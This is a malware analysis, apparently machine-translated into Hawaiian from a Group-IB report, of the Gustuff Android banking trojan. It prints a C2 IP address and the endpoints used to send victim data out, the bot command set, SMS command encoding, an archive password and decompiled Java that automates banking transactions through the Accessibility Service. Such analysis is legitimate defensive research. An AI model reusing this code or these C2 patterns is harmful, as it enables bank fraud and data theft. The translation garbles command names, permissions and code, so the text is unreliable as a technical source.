ʻO kahi lā aʻe Group-IB
He loea kālailai code malicious ma Group-IB ʻO Ivan Pisarev i kāna noiʻi ʻana, kamaʻilio kikoʻī ʻo ia e pili ana i ka hana ʻana o Gustuff a me kāna mau pōʻino.
ʻO wai ka Gustuff e ʻimi nei?
Aia ʻo Gustuff i kahi hanauna hou o ka malware me nā hana automate piha. Wahi a ka mea hoʻomohala, ua lilo ka Trojan i mea hou a i hoʻomaikaʻi hou ʻia o ka AndyBot malware, mai ka mahina ʻo Nowemapa 2017 e hoʻouka nei i nā kelepona Android a ʻaihue i ke kālā ma o nā palapala pūnaewele phishing e hoʻopili nei i nā noi kelepona o nā panakō honua kaulana a me nā ʻōnaehana uku. Ua hōʻike ʻo Bestoffer he $800 ka uku hoʻolimalima Gustuff Bot i kēlā me kēia mahina.
Ua hōʻike ʻia ka hōʻike ʻana o ka Gustuff sample i ka Trojan e hoʻopili ana i nā mea kūʻai aku e hoʻohana ana i nā noi kelepona o nā panakō nui loa, e like me Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, a me nā wallets crypto. Bitcoin Wallet, BitPay , Cryptopay, Coinbase, etc.
Hoʻokumu mua ʻia ma ke ʻano he Trojan banking maʻamau, i ka mana o kēia manawa ua hoʻonui nui ʻo Gustuff i ka papa inoa o nā pahuhopu hiki ke hoʻouka ʻia. Ma waho aʻe o nā noi Android no nā panakō, nā hui fintech a me nā lawelawe crypto, ua kuhikuhi ʻo Gustuff i nā mea hoʻohana i nā noi mākeke, nā hale kūʻai pūnaewele, nā ʻōnaehana uku a me nā ʻelele koke. ʻO ka mea nui, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut a me nā mea ʻē aʻe.
Wahi komo: helu no ka maʻi nui
Hōʻike ʻia ʻo Gustuff e ka vector "maʻamau" o ke komo ʻana i nā kelepona Android ma o nā leka SMS me nā loulou i nā APK. Ke hoʻopili ʻia kahi polokalamu Android me kahi Trojan ma ke kauoha a ke kikowaena, hiki iā Gustuff ke hoʻolaha hou aku ma o ka ʻikepili pili o ke kelepona maʻi a i ʻole ma o ka waihona kikowaena. Hoʻolālā ʻia ka hana a Gustuff no ka maʻi maʻi nui a me ka hoʻonui nui ʻana o ka ʻoihana o kāna mau mea hoʻohana - he hana "auto-fill" kūʻokoʻa i loko o nā noi waihona kālā kelepona kūpono a me nā wallets crypto, e hiki ai iā ʻoe ke wikiwiki a hoʻonui i ka ʻaihue kālā.
Ua hōʻike ʻia kahi haʻawina o Trojan ua hoʻokō ʻia ka hana autofill i loko me ka hoʻohana ʻana i ka Accessibility Service, kahi lawelawe no ka poʻe me ke kino kīnā. ʻAʻole ʻo Gustuff ka Trojan mua i hoʻopōmaikaʻi i ka pale ʻana i ka pilina me nā mea puka makani o nā noi ʻē aʻe e hoʻohana ana i kēia lawelawe Android. Eia nō naʻe, kakaikahi ka hoʻohana ʻana i ka Accessibility Service me ka hoʻopiha kaʻa.
Ma hope o ka hoʻoiho ʻana i ke kelepona o ka mea i pepehi ʻia, hiki iā Gustuff, me ka hoʻohana ʻana i ka Accessibility Service, ke launa pū me nā mea puka makani o nā noi ʻē aʻe (ka panakō, cryptocurrency, a me nā noi no ke kūʻai pūnaewele, memo, etc.), e hana ana i nā hana e pono ai nā mea hoʻouka. . No ka laʻana, ma ke kauoha a ke kikowaena, hiki i kahi Trojan ke kaomi i nā pihi a hoʻololi i nā waiwai o nā kahua kikokikona i nā noi waihona. ʻO ka hoʻohana ʻana i ka mīkini Accessibility Service e hiki ai i ka Trojan ke kāpae i nā mīkini palekana i hoʻohana ʻia e nā panakō e kūʻē i nā Trojans mobile hanauna mua, a me nā loli i ke kulekele palekana i hoʻokō ʻia e Google i nā mana hou o ka Android OS. No laila, "ʻike" ʻo Gustuff pehea e hoʻopau ai i ka palekana Google Protect: e like me ka mea kākau, hana kēia hana i 70% o nā hihia.
Hiki iā Gustuff ke hōʻike i nā leka PUSH hoʻopunipuni me nā kiʻi o nā noi kelepona kūpono. Kaomi ka mea hoʻohana i ka leka hoʻomaopopo PUSH a ʻike i kahi puka phishing i hoʻoiho ʻia mai ka kikowaena, kahi i komo ai ʻo ia i ke kāleka kāleka i noi ʻia a i ʻole ka ʻikepili putele crypto. Ma kahi hiʻohiʻona Gustuff ʻē aʻe, ua wehe ʻia ka noi no ka mea i hōʻike ʻia ka leka PUSH. I kēia hihia, hiki i ka malware, ma ke kauoha mai ke kikowaena ma o ka Accessibility Service, hiki ke hoʻopiha i nā kahua puka o kahi noi panakō no kahi kālepa hoʻopunipuni.
Hoʻokomo pū ka hana a Gustuff i ka hoʻouna ʻana i ka ʻike e pili ana i kahi mea maʻi i ka server, ka hiki ke heluhelu / hoʻouna i nā leka SMS, ka hoʻouna ʻana i nā noi USSD, ka hoʻokuʻu ʻana i ka SOCKS5 Proxy, ma hope o kahi loulou, ka hoʻouna ʻana i nā faila (me nā kiʻi paʻi kiʻi o nā palapala, nā screenshots, nā kiʻi) i ka server , hoʻonohonoho hou i ka mea hana i nā hoʻonohonoho hale hana.
Ka nānā ʻana i nā polokalamu malware
Ma mua o ka hoʻokomo ʻana i kahi noi ʻino, hōʻike ka Android OS i ka mea hoʻohana i kahi puka aniani i loaʻa kahi papa inoa o nā kuleana i noi ʻia e Gustuff:
E hoʻokomo wale ʻia ka palapala noi ma hope o ka loaʻa ʻana o ka ʻae o ka mea hoʻohana. Ma hope o ka hoʻomaka ʻana i ka noi, e hōʻike ka Trojan i ka mea hoʻohana i kahi puka makani:
Ma hope o ia e wehe i kona ikona.
Hoʻopili ʻia ʻo Gustuff, e like me ka mea kākau, e kahi packer mai FTT. Ma hope o ka hoʻomaka ʻana, hoʻopili ka palapala noi i ke kikowaena CnC e loaʻa nā kauoha. Ua hoʻohana kekahi mau faila a mākou i nānā ai i kahi IP address ma ke ʻano he kikowaena mana 88.99.171[.]105 (ma keia hope aku e hoike aku makou ia <%CnC%>).
Ma hope o ka hoʻomaka ʻana, hoʻomaka ka papahana e hoʻouna i nā memo i ke kikowaena http://<%CnC%>/api/v1/get.php.
ʻO ka pane e manaʻo ʻia ʻo JSON ma kēia ʻano:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
I kēlā me kēia manawa ke komo ʻia ka noi, hoʻouna ʻo ia i ka ʻike e pili ana i ka mea maʻi. Hōʻike ʻia ka ʻano memo ma lalo nei. He mea pono e hoʻomaopopo i nā māla piha, keu, Apps и ae - koho a e hoʻouna wale ʻia inā he kauoha noi mai CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Ke mālama nei i ka ʻikepili hoʻonohonoho
Mālama ʻo Gustuff i ka ʻike koʻikoʻi ma kahi faila makemake. ʻO ka inoa faila, a me nā inoa o nā ʻāpana i loko, ʻo ia ka hopena o ka helu ʻana i ka huina MD5 mai ke kaula. 15413090667214.6.1<%name%>kahi <%name%> — waiwai-inoa mua. ʻO ka wehewehe ʻana o Python i ka hana hoʻokumu inoa:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
Ma ka mea ma hope aʻe e hōʻike mākou iā ia nameGenerator(hookomo).
No laila ʻo ka inoa faila mua: nameGenerator("API_SERVER_LIST"), loaʻa nā waiwai me nā inoa aʻe:
inoa hoʻololi | waiwai |
---|---|
nameGenerator("API_SERVER_LIST") | Loaʻa i kahi papa inoa o nā helu CnC ma ke ʻano o kahi laha. |
nameGenerator("API_SERVER_URL") | Loaʻa i ka helu CnC. |
nameGenerator("SMS_UPLOAD") | Hoʻonohonoho ʻia ka hae ma ka paʻamau. Inā hoʻonoho ʻia ka hae, hoʻouna i nā leka SMS iā CnC. |
nameGenerator("SMS_ROOT_NUMBER") | Helu kelepona kahi e hoʻouna ʻia ai nā leka SMS i loaʻa e ka mea maʻi. He null ka paʻamau. |
nameGenerator("SMS_ROOT_NUMBER_RESEND") | Hoʻomaʻemaʻe ʻia ka hae ma ka paʻamau. Inā hoʻokomo ʻia, i ka wā e loaʻa ai kahi mea maʻi i kahi SMS, e hoʻouna ʻia i ka helu kumu. |
nameGenerator("DEFAULT_APP_SMS") | Hoʻomaʻemaʻe ʻia ka hae ma ka paʻamau. Inā hoʻonoho ʻia kēia hae, e hana ka palapala noi i nā memo SMS e hiki mai ana. |
nameGenerator("DEFAULT_ADMIN") | Hoʻomaʻemaʻe ʻia ka hae ma ka paʻamau. Inā hoʻonoho ʻia ka hae, aia nā kuleana luna o ka noi. |
nameGenerator("DEFAULT_ACCESSIBILITY") | Holoi ʻia ka hae ma ke ʻano paʻamau. Inā hoʻonoho ʻia ka hae, e holo ana kahi lawelawe e hoʻohana ana i ka Service Accessibility Service. |
nameGenerator("APPS_CONFIG") | ʻO kahi mea JSON i loaʻa kahi papa inoa o nā hana pono e hana ʻia ke hoʻomaka ʻia kahi hanana Accessibility e pili ana me kahi noi kikoʻī. |
nameGenerator("APPS_INSTALLED") | Mālama i ka papa inoa o nā noi i hoʻokomo ʻia ma ka hāmeʻa. |
nameGenerator("IS_FIST_RUN") | Hoʻonohonoho hou ʻia ka hae ma ka hoʻomaka mua. |
nameGenerator("UNIQUE_ID") | Loaʻa i kahi mea hōʻike kūʻokoʻa. Hana ʻia i ka wā i hoʻokuʻu ʻia ai ka bot no ka manawa mua. |
Module no ka hana ʻana i nā kauoha mai ke kikowaena
Mālama ka palapala noi i nā helu o nā kikowaena CnC ma ke ʻano o kahi ʻano i hoʻopaʻa ʻia e Pākuʻi85 laina laina. Hiki ke hoʻololi ʻia ka papa inoa o nā kikowaena CnC i ka loaʻa ʻana o ke kauoha kūpono, a laila e mālama ʻia nā helu wahi i kahi faila makemake.
I ka pane ʻana i ka noi, hoʻouna ke kikowaena i kahi kauoha i ka noi. He mea pono e hoʻomaopopo i nā kauoha a me nā ʻāpana i hōʻike ʻia ma JSON format. Hiki i ka palapala noi ke hana i kēia mau kauoha:
hui | hōʻikeʻano |
---|---|
muaHoʻomaka | E hoʻomaka i ka hoʻouna ʻana i nā leka SMS i loaʻa e ka mea maʻi i ke kikowaena CnC. |
muaStop | E hooki i ka hoʻouna ʻana i nā leka SMS i loaʻa mai e ka mea maʻi i ke kikowaena CnC. |
ussdRun | E hoʻokō i ka noi USSD. ʻO ka helu āu e pono ai e hana i kahi noi USSD aia ma ka JSON kahua "helu". |
hoʻounaSms | E hoʻouna i hoʻokahi memo SMS (inā pono, "māhele" ka leka i mau ʻāpana). Ma ke ʻano he hoʻohālikelike, lawe ke kauoha i kahi mea JSON i loaʻa nā māla "i" - ka helu wahi a me "kino" - ke kino o ka memo. |
hoʻounaSmsAb | E hoʻouna i nā memo SMS (inā pono, "māhele" ka leka i nā ʻāpana) i nā mea a pau i ka papa inoa pili o ka mea maʻi. He 10 kekona ka manawa ma waena o ka hoʻouna ʻana i nā memo. Aia ke kino o ka memo ma ke kahua JSON "kino" |
hoʻounaSmsMass | E hoʻouna i nā memo SMS (inā pono, "māhele" ka memo i nā ʻāpana) i nā pilina i kuhikuhi ʻia i nā ʻāpana kauoha. He 10 kekona ka manawa ma waena o ka hoʻouna ʻana i nā memo. Ma ke ʻano he hoʻohālikelike, lawe ke kauoha i kahi array JSON (ke kahua "sms"), nā mea i loaʻa nā māla "i" - ka helu wahi a me "kino" - ke kino o ka memo. |
hoʻololiServer | Hiki i kēia kauoha ke lawe i kahi waiwai me ke kī "url" ma ke ʻano he hoʻohālikelike - a laila e hoʻololi ka bot i ka waiwai o ka nameGenerator("SERVER_URL"), a i ʻole "array" - a laila e kākau ka bot i ka array i nameGenerator ("API_SERVER_LIST") No laila, hoʻololi ka noi i ka helu o nā kikowaena CnC. |
adminNumber | Hoʻolālā ʻia ke kauoha e hana me kahi helu kumu. ʻAe ke kauoha i kahi mea JSON me kēia mau ʻāpana: "helu" - hoʻololi i ka inoaGenerator ("ROOT_NUMBER") i ka waiwai i loaʻa, "hoʻouna hou" - hoʻololi i ka inoaGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - hoʻouna i ka inoaGenerator ("ROOT_NUMBER" ) uniqueID. |
updateInfo | E hoʻouna i ka ʻike e pili ana i ka mea maʻi i ke kikowaena. |
wipeData | Ua manaʻo ʻia ke kauoha e holoi i ka ʻikepili mea hoʻohana. Ma muli o ka inoa i hoʻomaka ʻia ai ka noi, holoi ʻia ka ʻikepili me ka hoʻomaka hou ʻana o ka mea hoʻohana (mea hoʻohana mua), a i ʻole holoi ʻia ka ʻikepili mea hoʻohana (mea hoʻohana lua). |
socksStart | E hoʻokuʻu i ka module Proxy. Hōʻike ʻia ka hana o ka module ma kahi ʻāpana ʻokoʻa. |
socksStop | E hooki i ka module Proxy. |
openLink | E hahai i ka loulou. Aia ka loulou ma ka JSON parameter ma lalo o ke kī "url". Hoʻohana ʻia ka "android.intent.action.VIEW" e wehe i ka loulou. |
uploadAllSms | E hoʻouna i nā memo SMS a pau i loaʻa e ka mea hana i ke kikowaena. |
uploadAllPhotos | E hoʻouna i nā kiʻi mai kahi mea maʻi i kahi URL. Hele mai ka URL ma ke ʻano he ʻāpana. |
uploadFile | E hoʻouna i kahi faila i kahi URL mai kahi mea maʻi. Hele mai ka URL ma ke ʻano he ʻāpana. |
uploadPhoneNumbers | E hoʻouna i nā helu kelepona mai kāu papa inoa pili i ke kikowaena. Inā loaʻa kahi waiwai JSON me ke kī "ab" ma ke ʻano he ʻāpana, loaʻa ka palapala noi i kahi papa inoa o nā mea pili mai ka puke kelepona. Inā loaʻa kahi mea JSON me ke kī "sms" ma ke ʻano he hoʻohālikelike, heluhelu ka palapala noi i ka papa inoa o nā pilina mai nā mea hoʻouna i nā leka SMS. |
hoʻololiArchive | Hoʻoiho ka palapala noi i ka faila mai ka helu wahi i hele mai ma ke ʻano he hoʻohālikelike e hoʻohana ana i ke kī "url". Mālama ʻia ka faila i hoʻoiho ʻia me ka inoa "archive.zip". E wehe ka palapala noi i ka faila, me ka hoʻohana ʻana i ka ʻōlelo huna waihona "b5jXh37gxgHBrZhQ4j3D". Mālama ʻia nā faila i hoʻopaʻa ʻole ʻia ma ka papa kuhikuhi [mālama waho]/hgps. Ma kēia papa kuhikuhi, mālama ka palapala noi i nā pūnaewele hoʻopunipuni (i wehewehe ʻia ma lalo). |
nā hana | Hoʻolālā ʻia ke kauoha e hana pū me Action Service, i wehewehe ʻia ma kahi ʻāpana ʻokoʻa. |
hōʻike | ʻAʻohe hana. |
manual | Ua manaʻo ʻia ke kauoha e hoʻoiho i kahi faila mai kahi kikowaena mamao a mālama iā ia i ka papa kuhikuhi "Downloads". Hiki mai ka URL a me ka inoa faila ma ke ʻano he ʻāpana, nā kahua ma ka JSON parameter object, kēlā me kēia: "url" a me "fileName". |
lawe | Wehe i kahi faila mai ka papa kuhikuhi "Downloads". Hele mai ka inoa faila i kahi ʻāpana JSON me ke kī "fileName". ʻO ka inoa faila maʻamau "tmp.apk". |
hōʻike | Hōʻike i kahi leka hoʻomaopopo me ka wehewehe a me nā kikokikona i wehewehe ʻia e ke kikowaena hoʻokele. |
Palapala Kauoha hōʻike:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
ʻO ka hoʻolaha i hana ʻia e ka faila ma lalo o ka hoʻokolokolo ʻana e like me nā hoʻolaha i hana ʻia e ka noi i kuhikuhi ʻia ma ke kahua mail app. Inā ka waiwai kahua openApp — ʻOiaʻiʻo, i ka wā e wehe ʻia ai kahi leka hoʻomaopopo, hoʻomaka ka noi i kuhikuhi ʻia ma ke kahua mail app. Inā ka waiwai kahua openApp — He wahahee, alaila:
- Wehe ʻia kahi puka phishing, hoʻoiho ʻia nā mea mai ka papa kuhikuhi <% waihona waho%>/hgps/<%filename%>
- Wehe ʻia kahi puka phishing, hoʻoiho ʻia nā mea mai ka kikowaena <%url%>?id=<%Bot id%>&app=<%Application name%>
- Wehe ʻia kahi puka phishing, hoʻokaʻawale ʻia ma ke ʻano he Google Play Card, me ka manawa e hoʻokomo i nā kikoʻī kāleka.
Hoʻouna ka palapala noi i ka hopena o kekahi kauoha i <%CnC%>set_state.php ma ke ʻano he mea JSON i kēia ʻano:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
Hana Hana
ʻO ka papa inoa o nā kauoha i loaʻa i nā kaʻina noi hana. I ka loaʻa ʻana o kahi kauoha, hiki i ke kōmike hoʻoponopono kauoha ke komo i kēia lawelawe e hoʻokō i ke kauoha lōʻihi. Hāʻawi ka lawelawe i kahi mea JSON ma ke ʻano he ʻāpana. Hiki i ka lawelawe ke hoʻokō i kēia mau kauoha:
1. PARAMS_ACTION - i ka loaʻa ʻana o kēlā kauoha, loaʻa mua ka lawelawe mai ka JSON parameter i ka waiwai o ke kī Type, hiki ke penei:
- serviceInfo - loaʻa i ka subcommand ka waiwai ma ke kī mai ka ʻāpana JSON komo ʻAʻole Pono. Inā ʻoiaʻiʻo ka hae, hoʻonohonoho ka palapala noi i ka hae FLAG_ISOLATED_PROCESS i kahi lawelawe e hoʻohana ana i ka Service Accessibility Service. Ma kēia ala e hoʻomaka ai ka lawelawe ma kahi kaʻina kaʻawale.
- aa - loaʻa a hoʻouna i ka ʻike kikowaena e pili ana i ka puka aniani e nānā nei. Loaʻa ka palapala noi i ka ʻike me ka hoʻohana ʻana i ka papa AccessibilityNodeInfo.
- Keʻena Luna - noi i nā kuleana luna.
- ke kali - hoʻokuʻu i ka ActionsService no ka helu o nā milliseconds i kuhikuhi ʻia ma ka ʻāpana no ke kī "data".
- makani - hoʻouna i kahi papa inoa o nā puka makani i ʻike ʻia e ka mea hoʻohana.
- e hoʻohui - e hoʻokomo i ka noi ma ka mea maʻi. Aia ka inoa o ka waihona waihona ma ke kī "fileName". Aia ka waihona ma ka papa kuhikuhi Downloads.
- global - ua manaʻo ʻia ka subcommand e hoʻokele mai ka puka makani o kēia manawa:
- ma ka papa kuhikuhi koho wikiwiki
- i hope
- home
- i na hoolaha
- i ka puka makani noi i wehe koke ʻia
- Launch - hoʻomaka i ka noi. Hele mai ka inoa noi ma ke kī ʻikepili.
- leo - hoʻololi i ke ʻano kani i hāmau.
- laka - hoʻohuli i ke kukui hope o ka pale a me ka papa keyboard i ka mālamalama piha. Hana ka palapala noi i kēia hana me ka hoʻohana ʻana iā WakeLock, e kuhikuhi ana i ke kaula [Lable Application]: INFO ma ke ʻano he hōʻailona.
- permissionOverlay — ʻaʻole hoʻokō ʻia ka hana (ʻo ka pane i ka hoʻokō kauoha ʻo {"message":"Not support"} a i ʻole {"message":"low sdk"})
- ʻike — ʻaʻole hoʻokō ʻia ka hana (ʻo ka pane i ka hoʻokō kauoha ʻo {"message":"Not support"}a i ʻole {"message":"Low API"})
- 'ae - pono kēia kauoha e noi i nā ʻae no ka noi. Eia naʻe, ʻaʻole i hoʻokō ʻia ka hana nīnau, no laila ʻaʻohe manaʻo o ke kauoha. Hiki mai ka papa inoa o nā kuleana i noi ʻia ma ke ʻano he JSON array me ke kī "ʻae". Papa inoa maʻamau:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- LIKEWRITE_EXTERNAL_STORAGE
- hamama - hōʻike i kahi puka phishing. Ma muli o ka palena e hele mai ana mai ke kikowaena, hiki i ka palapala noi ke hōʻike i kēia mau phishing windows:
- Hōʻike i kahi puka phishing nona nā mea i kākau ʻia ma kahi faila ma kahi papa kuhikuhi <%papa kuhikuhi waho%>/hgps/<%param_filename%>. E hoʻouna ʻia ka hopena o ka mea hoʻohana me ka puka makani <%CnC%>/records.php
- Hōʻike i kahi puka phishing nona nā mea i hoʻouka mua ʻia mai ka helu wahi <%url_param%>?id=<%bot_id%>&app=<%packagename%>. E hoʻouna ʻia ka hopena o ka mea hoʻohana me ka puka makani <%CnC%>/records.php
- Hōʻike i kahi puka phishing i hoʻokaʻawale ʻia me he kāleka Google Play.
- pä - Ua hoʻolālā ʻia ke kauoha e launa pū me nā mea puka makani o nā noi ʻē aʻe e hoʻohana ana i ka AcessibilityService. Ua hoʻokōʻia kahi lawelawe kūikawā ma ka papahana no ka pilina. Hiki i ka palapala noi i hoʻokolokolo ʻia ke launa pū me nā puka makani:
- Ke hana nei i kēia manawa. I kēia hihia, aia ka id a i ʻole kikokikona (inoa) o ka mea āu e pono ai e launa pū me ka ʻāpana.
- ʻIke ʻia e ka mea hoʻohana i ka manawa i hoʻokō ʻia ai ke kauoha. Koho ka polokalamu i nā puka makani ma ka id.
Loaʻa i nā mea AccessibilityNodeInfo No nā mea puka makani o ka hoihoi, hiki i ka noi, ma muli o nā ʻāpana, ke hana i kēia mau hana:
- ka nānā 'ana - hoʻonoho i ka manaʻo i ka mea.
- kaomi — kaomi ma kahi mea.
- actionId - hana i kahi hana ma ka ID.
- setText — hoʻololi i ke kikokikona o kekahi mea. Hiki ke hoʻololi i ka kikokikona ma nā ʻano ʻelua: hana i kahi hana ACTION_SET_TEXT (inā ʻoi aku ka ʻōpio o ka Android o ka mea maʻi ma mua a i ʻole LOLLIPOP), a i ʻole ma ke kau ʻana i kahi kaula ma ka papa paʻi a paʻi i loko o kahi mea (no nā mana kahiko). Hiki ke hoʻohana ʻia kēia kauoha e hoʻololi i ka ʻikepili i loko o kahi noi panakō.
2. PARAMS_ACTIONS - like me PARAMS_ACTION, hiki mai kahi JSON o nā kauoha.
Me he mea lā e makemake nui ka poʻe i ke ʻano o ka hana o ka launa pū ʻana me nā mea puka makani o kahi noi ʻē aʻe. Pēlā e hoʻokō ʻia ai kēia hana ma Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Hana pani kikokiko:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
No laila, me ka hoʻonohonoho kūpono o ka kikowaena mana, hiki iā Gustuff ke hoʻopiha i nā kīʻaha kikokikona i ka noi waihona a kaomi i nā pihi pono e hoʻopau i ke kālepa. ʻAʻole pono ka Trojan e komo i loko o ka noi-ua lawa ia e hoʻouna i kahi kauoha e hōʻike i kahi leka PUSH a laila wehe i ka noi waihona kālā i hoʻokomo mua ʻia. E hōʻoia ka mea hoʻohana iā ia iho, a laila hiki iā Gustuff ke hoʻopiha i ke kaʻa.
Module hoʻoponopono memo SMS
Hoʻokomo ka palapala noi i kahi mea mālama hanana no ka mea maʻi e ʻae i nā memo SMS. Hiki i ka palapala noi ma lalo o ke aʻo ʻana ke loaʻa nā kauoha mai ka mea hoʻohana, i hele mai i ke kino o ka memo SMS. Aia nā kauoha ma ke ʻano:
7!5=<%Base64 i hoʻopaʻa ʻia ke kauoha%>
Huli ka palapala noi i ke kaula i nā memo SMS e hiki mai ana 7!5=, ke ʻike ʻia kahi kaula, hoʻokaʻawale ia i ke kaula mai Base64 ma offset 4 a hoʻokō i ke kauoha. Ua like nā kauoha me nā mea me CnC. Hoʻouna ʻia ka hopena hoʻokō i ka helu like i hele mai ai ke kauoha. ʻAno pane:
7*5=<%Base64 hoʻopaʻa ʻia o ka “result_code command”%>
ʻO ke koho, hiki i ka palapala noi ke hoʻouna i nā leka i loaʻa i ka helu Root. No ka hana ʻana i kēia, pono e hōʻike ʻia ka helu Root i ka faila makemake a pono e hoʻonohonoho ʻia ka hae hoʻihoʻi hou. Hoʻouna ʻia kahi leka SMS i ka helu o ka mea hoʻouka ma ke ʻano:
<%Mai ka helu%> - <%Ka manawa, hōpili: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
Eia kekahi, koho, hiki i ka palapala noi ke hoʻouna i nā memo iā CnC. Hoʻouna ʻia ka leka SMS i ke kikowaena ma ke ʻano JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Inā hoʻonoho ʻia ka hae nameGenerator("DEFAULT_APP_SMS") - ua pau ka palapala noi i ka hana ʻana i ka leka SMS a hoʻomaʻemaʻe i ka papa inoa o nā memo e hiki mai ana.
Module proxy
Aia ka palapala noi ma lalo o ke aʻo ʻana i kahi module Backconnect Proxy (ma hope aku i kapa ʻia ʻo ka Proxy module), nona kahi papa ʻokoʻa e komo ana i nā kahua static me ka hoʻonohonoho. Mālama ʻia ka ʻikepili hoʻonohonoho i ka hāpana ma ke ʻano maopopo:
Hoʻopaʻa ʻia nā hana a pau e ka module Proxy i loko o nā faila. No ka hana ʻana i kēia, hana ka noi ma waho o waho i kahi papa kuhikuhi i kapa ʻia ʻo "logs" (ke kahua ProxyConfigClass.logsDir i ka papa hoʻonohonoho), kahi e mālama ʻia ai nā faila log. Loaʻa ka logging i nā faila me nā inoa:
- main.txt - ka hana a ka papa i kapa ʻia ʻo CommandServer i hoʻopaʻa ʻia i kēia faila. Ma ka mea aʻe, e hoʻopaʻa ʻia i ke kaula str i loko o kēia faila e kapa ʻia ʻo mainLog(str).
- kau-<%id%>.txt — Mālama kēia faila i ka ʻikepili log e pili ana i kahi kau proxy kūikawā. Ma ka mea e hiki mai ana, e hoʻopaʻa ʻia ke kaula str i kēia faila e like me sessionLog (str).
- server.txt - hoʻohana ʻia kēia faila e hoʻopaʻa i nā ʻikepili āpau i kākau ʻia i nā faila i wehewehe ʻia ma luna.
Hōpili ʻikepili moʻo:
<%Date%> [Thread[<%thread id%>], id[]]: log-string
Hoʻopaʻa ʻia nā ʻokoʻa i ka wā o ka hana ʻana o ka module Proxy i kahi faila. No ka hana ʻana i kēia, hana ka noi i kahi mea JSON ma kēia ʻano:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
A laila hoʻololi ia i kahi hōʻike string a hoʻopaʻa inoa.
Hoʻomaka ʻia ka module Proxy ma hope o ka loaʻa ʻana o ke kauoha pili. Ke loaʻa kahi kauoha e hoʻomaka i ka module Proxy, hoʻomaka ka noi i kahi lawelawe i kapa ʻia MainService, nona ke kuleana no ka mālama ʻana i ka hana o ka module Proxy - e hoʻomaka a hoʻōki.
Nā pae o ka hoʻomaka ʻana i ka lawelawe:
